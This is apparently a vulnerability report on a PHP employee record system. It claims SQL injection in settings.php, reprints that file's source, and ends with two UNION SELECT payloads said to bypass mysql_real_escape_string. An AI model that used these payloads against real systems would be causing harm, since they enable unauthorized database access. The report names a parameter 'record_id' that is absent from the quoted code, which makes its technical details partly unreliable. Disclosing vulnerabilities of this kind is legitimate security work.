# **[Employee Record System](https://code-projects.org/employee-record-system-in-php-with-source-code/)**

### NAME OF AFFECTED PRODUCT(S)

[Employee Record System In PHP With Source Code](https://code-projects.org/employee-record-system-in-php-with-source-code/)

### Vendor Homepage

[Employee Record System In PHP With Source Code - Source Code & Projects](https://code-projects.org/employee-record-system-in-php-with-source-code/)

### Vulnerable File

settings.php

### Software Link

[download.code-projects.org/details/09cc7d20-04c1-42c5-8941-407d139ce7cc](https://download.code-projects.org/details/09cc7d20-04c1-42c5-8941-407d139ce7cc)

### Vulnerability Type

SQL injection

### Root Cause

A SQL injection vulnerability was found in the 'settings.php' file of the 'dashboard' project. This issue occurs because an attacker injects malicious code from the parameter "record\_id" and uses it directly in SQL queries without proper scrubbing or validation. This allows an attacker to forge input values to manipulate SQL queries and perform unauthorized actions.

### Impact

Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

### source

<?php

**ob\_start**();

**include**("../inc/header.php");

**if**(**isset**($\_POST['changeusername'])){

$newusername = **mysqli\_real\_escape\_string**($db\_connect, $\_POST['username']);

$password = **mysqli\_real\_escape\_string**($db\_connect, $\_POST['password']);

$newpassword = **md5**(**md5**($password).**md5**($newusername));

$checkpass = **mysqli\_query**($db\_connect, "SELECT password FROM users WHERE username = '$username' ");

$checkpasscount = **mysqli\_num\_rows**($checkpass);

$checkuser = **mysqli\_query**($db\_connect, "SELECT user\_id FROM users WHERE username = '$newusername' ");

$checkusercount = **mysqli\_num\_rows**($checkuser);

**ob\_end\_clean**();

**if**($checkusercount < 1 ){

**if**($checkpasscount){

**if**($fetchpass = **mysqli\_fetch\_assoc**($checkpass)){

$oldpassword = $fetchpass['password'];

}

$oldpassword1 = **md5**(**md5**($password).**md5**($username));

}

**if**($oldpassword1 == $oldpassword){

$sql = **mysqli\_query**($db\_connect, "UPDATE `users` SET `username` = '$newusername', `password` = '$newpassword' WHERE `user\_id` = '$id'");

**if**($sql){

echo **json\_encode**(**array**("status"=>"success"));

$\_SESSION["username"] = $newusername;

**exit**();

} **else** {

echo **json\_encode**(**array**("status"=>"failed"));

**exit**();

}

} **else** {

echo **json\_encode**(**array**("status"=>"passfailed"));

**exit**();

}

} **else** {

echo **json\_encode**(**array**("status"=>"userfailed"));

**exit**();

}

}

**if**(**isset**($\_POST['changepassword'])){

$newpassword = **mysqli\_real\_escape\_string**($db\_connect, $\_POST['newpass']);

$Oldpassword = **mysqli\_real\_escape\_string**($db\_connect, $\_POST['oldpass']);

$Oldpassword = **md5**(**md5**($Oldpassword).**md5**($username));

$checkpass = **mysqli\_query**($db\_connect, "SELECT password FROM users WHERE password = '$Oldpassword' ");

$checkpasscount = **mysqli\_num\_rows**($checkpass);

**ob\_end\_clean**();

**if**($checkpasscount){

$newpassword = **md5**(**md5**($newpassword).**md5**($username));

$sql = **mysqli\_query**($db\_connect, "UPDATE `users` SET `password` = '$newpassword' WHERE `user\_id` = '$id'");

**if**($sql){

echo **json\_encode**(**array**("status"=>"success"));

**exit**();

} **else** {

echo **json\_encode**(**array**("status"=>"failed"));

**exit**();

}

} **else** {

echo **json\_encode**(**array**("status"=>"incorrect"));

**exit**();

}

}

?>

<section class="side-menu fixed left">

<div class="top-sec">

<div class="dash\_logo">

</div>

<p>Employee Record System</p>

</div>

<ul class="nav">

<li class="nav-item"><a href="../dashboard"><span class="nav-icon"><i class="fa fa-users"></i></span>All Employees</a></li>

<li class="nav-item"><a href="../dashboard/current\_employees.php"><span class="nav-icon"><i class="fa fa-check"></i></span>Current Employees</a></li>

<li class="nav-item"><a href="../dashboard/past\_employees.php"><span class="nav-icon"><i class="fa fa-times"></i></span>Past Employees</a></li>

<?php **if**($usertype == "Admin"){ ?>

<li class="nav-item"><a href="../dashboard/add\_employee.php"><span class="nav-icon"><i class="fa fa-user-plus"></i></span>Add Employee</a></li>

<li class="nav-item"><a href="../dashboard/add\_user.php"><span class="nav-icon"><i class="fa fa-user"></i></span>Add User</a></li>

<?php } ?>

<li class="nav-item current"><a href="../dashboard/settings.php"><span class="nav-icon"><i class="fa fa-cog"></i></span>Settings</a></li>

<li class="nav-item"><a href="../dashboard/logout.php"><span class="nav-icon"><i class="fa fa-sign-out"></i></span>Sign out</a></li>

</ul>

</section>

<section class="contentSection right clearfix">

<div class="displaySuccess"></div>

<div class="container">

<div class="wrapper add\_employee settings clearfix">

<div class="section\_title">Settings</div>

<form id="changeusernameForm" class="clearfix" method="" action="">

<div class="section\_subtitle">Change username</div>

<div class="input-box input-small left">

<label **for**="username">Username</label><br>

<input type="text" class="inputField username" name="username">

<div class="error usernameerror"></div>

</div>

<div class="input-box input-small right">

<label **for**="password">**Password** (**if** changing username)</label><br>

<input type="password" class="inputField password" name="password">

<div class="error passworderror"></div>

</div>

<div class="input-box">

<button type="submit" class="submitField">Save</button>

</div>

</form>

</div>

<div class="wrapper add\_employee settings clearfix">

<form id="changepasswordForm" class="clearfix" method="" action="">

<div class="section\_subtitle">Change password</div>

<div class="input-box input-small left">

<label **for**="password">Current Password</label><br>

<input type="password" class="inputField oldpass" name="password">

<div class="error oldpasserror"></div>

</div>

<div class="input-box input-small right">

<label **for**="confirmpassword">New Password</label><br>

<input type="password" class="inputField newpass" name="confirmpassword">

<div class="error newpasserror"></div>

</div>

<div class="input-box input-small left">

<label **for**="confirmpassword">Confirm Password</label><br>

<input type="password" class="inputField cpassword" name="confirmpassword">

<div class="error cpasserror"></div>

</div>

<div class="input-box">

<button type="submit" class="submitField">Save</button>

</div>

</form>

</div>

</div>

</section>

<script type="text/javascript" src="../js/global.js"></script>

</body>

</html>

### attack



Bypass mysql\_real\_escape\_string()

username=ttt%df' union select 1,user(),3--+

username=ttt%EF%BF%BD%27union select 1,user(),3--+

Successfully bypassed